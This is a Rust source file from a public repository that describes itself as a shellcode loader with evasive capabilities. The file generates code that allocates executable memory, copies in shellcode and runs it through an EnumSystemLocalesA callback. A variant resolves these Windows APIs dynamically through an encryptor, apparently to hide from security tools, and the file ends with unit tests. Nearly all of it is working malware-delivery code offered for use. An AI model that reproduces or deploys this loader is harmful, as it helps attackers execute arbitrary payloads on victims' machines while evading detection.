myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
enum_system_locales.rs (6141B)
      1 pub fn enum_system_locales_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn enum_system_locales_const() -> String {
      9     r#"
     10 const MEM_COMMIT: u32 = 0x1000;
     11 const MEM_RESERVE: u32 = 0x2000;
     12 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
     13 
     14 const LCID_INSTALLED: u32 = 0x00000001;
     15 
     16 #[link(name = "kernel32")]
     17 extern "system" {
     18     fn EnumSystemLocalesA(
     19         callback: *const std::ffi::c_void,
     20         flags: u32,
     21     ) -> i32;
     22 }
     23 
     24 #[link(name = "ntdll")]
     25 extern "system" {
     26     fn RtlCopyMemory(
     27         destination: *mut std::ffi::c_void,
     28         source: *const std::ffi::c_void,
     29         length: usize,
     30     );
     31 }
     32 "#
     33     .to_string()
     34 }
     35 
     36 pub fn enum_system_locales_init() -> String {
     37     String::new()
     38 }
     39 
     40 pub fn enum_system_locales_process() -> String {
     41     r#"
     42     unsafe {
     43         let addr = VirtualAlloc(
     44             ptr::null_mut(),
     45             shellcode.len(),
     46             MEM_COMMIT | MEM_RESERVE,
     47             PAGE_EXECUTE_READWRITE,
     48         );
     49 
     50         if addr.is_null() {
     51             panic!("failed");
     52         }
     53 
     54         RtlCopyMemory(
     55             addr,
     56             shellcode.as_ptr() as *const std::ffi::c_void,
     57             shellcode.len(),
     58         );
     59 
     60         let result = EnumSystemLocalesA(addr, LCID_INSTALLED);
     61 
     62         if result == 0 {
     63             panic!("failed");
     64         }
     65     }
     66 "#
     67     .to_string()
     68 }
     69 
     70 fn generate_enum_system_locales_template(function_name: &str) -> String {
     71     super::common::TechniqueTemplateBuilder::new()
     72         .with_import(enum_system_locales_import())
     73         .with_const(enum_system_locales_const())
     74         .with_init(enum_system_locales_init())
     75         .with_process(enum_system_locales_process())
     76         .build(function_name)
     77 }
     78 
     79 pub fn generate_enum_system_locales_code(function_name: &str) -> String {
     80     generate_enum_system_locales_template(function_name)
     81 }
     82 
     83 fn enum_system_locales_process_with_dynamic_resolver(
     84     encryptor: &dyn crate::encryption::Encryptor,
     85 ) -> Result<String, String> {
     86     use super::dynamic_common::*;
     87 
     88     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     89     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     90     let enum_system_locales_a = enum_system_locales_a_resolver(encryptor)?;
     91 
     92     Ok(format!(
     93         r#"
     94     unsafe {{
     95         {virtual_alloc_resolver}
     96         {virtual_alloc_cast}
     97 
     98         let addr = virtual_alloc(
     99             ptr::null(),
    100             shellcode.len(),
    101             MEM_COMMIT | MEM_RESERVE,
    102             PAGE_EXECUTE_READWRITE,
    103         );
    104 
    105         if addr.is_null() {{
    106             panic!("failed");
    107         }}
    108 
    109         {rtl_copy_memory_resolver}
    110         {rtl_copy_memory_cast}
    111 
    112         rtl_copy_memory(
    113             addr,
    114             shellcode.as_ptr() as *const std::ffi::c_void,
    115             shellcode.len(),
    116         );
    117 
    118         {enum_system_locales_a_resolver}
    119         {enum_system_locales_a_cast}
    120 
    121         let result = enum_system_locales_a(addr, LCID_INSTALLED);
    122 
    123         if result == 0 {{
    124             panic!("failed");
    125         }}
    126     }}
    127 "#,
    128         virtual_alloc_resolver = virtual_alloc.resolver_code,
    129         virtual_alloc_cast = virtual_alloc.cast_code,
    130         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    131         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    132         enum_system_locales_a_resolver = enum_system_locales_a.resolver_code,
    133         enum_system_locales_a_cast = enum_system_locales_a.cast_code,
    134     ))
    135 }
    136 
    137 fn generate_enum_system_locales_template_with_dynamic_resolver(
    138     function_name: &str,
    139     _encryption_type: &str,
    140     encryptor: &dyn crate::encryption::Encryptor,
    141 ) -> Result<String, String> {
    142     let process_code = enum_system_locales_process_with_dynamic_resolver(encryptor)?;
    143 
    144     Ok(super::common::TechniqueTemplateBuilder::new()
    145         .with_import(enum_system_locales_import())
    146         .with_const(enum_system_locales_const())
    147         .with_init(enum_system_locales_init())
    148         .with_process(process_code)
    149         .build(function_name))
    150 }
    151 
    152 pub fn generate_enum_system_locales_code_with_dynamic_resolver(
    153     function_name: &str,
    154     encryption_type: &str,
    155     encryptor: &dyn crate::encryption::Encryptor,
    156 ) -> String {
    157     generate_enum_system_locales_template_with_dynamic_resolver(
    158         function_name,
    159         encryption_type,
    160         encryptor,
    161     )
    162     .unwrap_or_else(|err| {
    163         panic!(
    164             "Failed to generate EnumSystemLocales code with dynamic resolver (encryption: {}): {}",
    165             encryption_type, err
    166         )
    167     })
    168 }
    169 
    170 pub struct EnumSystemLocalesGenerator;
    171 
    172 impl super::trait_generator::TechniqueGenerator for EnumSystemLocalesGenerator {
    173     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    174         generate_enum_system_locales_code(function_name)
    175     }
    176 
    177     fn generate_code_with_dynamic_resolver(
    178         &self,
    179         _process: &str,
    180         function_name: &str,
    181         encryption_type: &str,
    182         encryptor: &dyn crate::encryption::Encryptor,
    183     ) -> String {
    184         generate_enum_system_locales_code_with_dynamic_resolver(
    185             function_name,
    186             encryption_type,
    187             encryptor,
    188         )
    189     }
    190 
    191     fn requires_process(&self) -> bool {
    192         false
    193     }
    194 
    195     fn name(&self) -> &'static str {
    196         "EnumSystemLocales"
    197     }
    198 }
    199 
    200 #[cfg(test)]
    201 mod tests {
    202     use super::*;
    203 
    204     #[test]
    205     fn test_generate_enum_system_locales_template_contains_all_parts() {
    206         let template = generate_enum_system_locales_template("MyFunction");
    207         assert!(template.contains("use std::ptr"));
    208         assert!(template.contains("MEM_COMMIT"));
    209         assert!(template.contains("fn MyFunction"));
    210         assert!(template.contains("VirtualAlloc"));
    211         assert!(template.contains("EnumSystemLocalesA"));
    212     }
    213 
    214     #[test]
    215     fn test_generate_enum_system_locales_code() {
    216         let code = generate_enum_system_locales_code("MyRandomFunc");
    217         assert!(code.contains("fn MyRandomFunc"));
    218         assert!(code.contains("EnumSystemLocalesA"));
    219     }
    220 
    221     #[test]
    222     fn test_enum_system_locales_does_not_use_process_param() {
    223         let code = generate_enum_system_locales_code("TestFunc");
    224         assert!(!code.contains("notepad.exe"));
    225     }
    226 }